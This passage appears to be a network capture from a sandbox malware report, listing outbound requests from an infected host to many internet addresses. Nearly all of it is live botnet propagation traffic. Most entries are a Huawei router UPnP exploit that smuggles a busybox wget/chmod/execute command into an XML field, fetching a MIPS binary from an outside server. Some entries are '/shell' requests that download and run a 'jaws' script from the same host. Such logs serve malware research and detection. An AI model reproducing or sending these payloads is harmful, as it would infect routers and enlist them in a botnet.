Dec 3, 2024 21:02:08.853673935 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	37438	41.199.185.106	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.854403019 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	43790	41.186.29.169	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.858064890 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	51120	156.207.140.134	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:09.740930080 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	60826	41.214.133.127	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:09.741595984 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	59340	197.20.147.7	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:09.742206097 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	60790	41.177.208.1	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:09.872651100 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	51582	87.49.159.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:10.134104013 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	37582	207.201.86.232	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:10.248497009 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	41096	1.129.240.47	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:10.368279934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	40442	41.58.53.106	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:11.759232998 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	60402	156.79.67.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:11.759931087 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	50002	197.48.165.162	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:11.760502100 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	54718	197.162.139.127	37215

Timestamp	Bytes transferred	Direction	Data
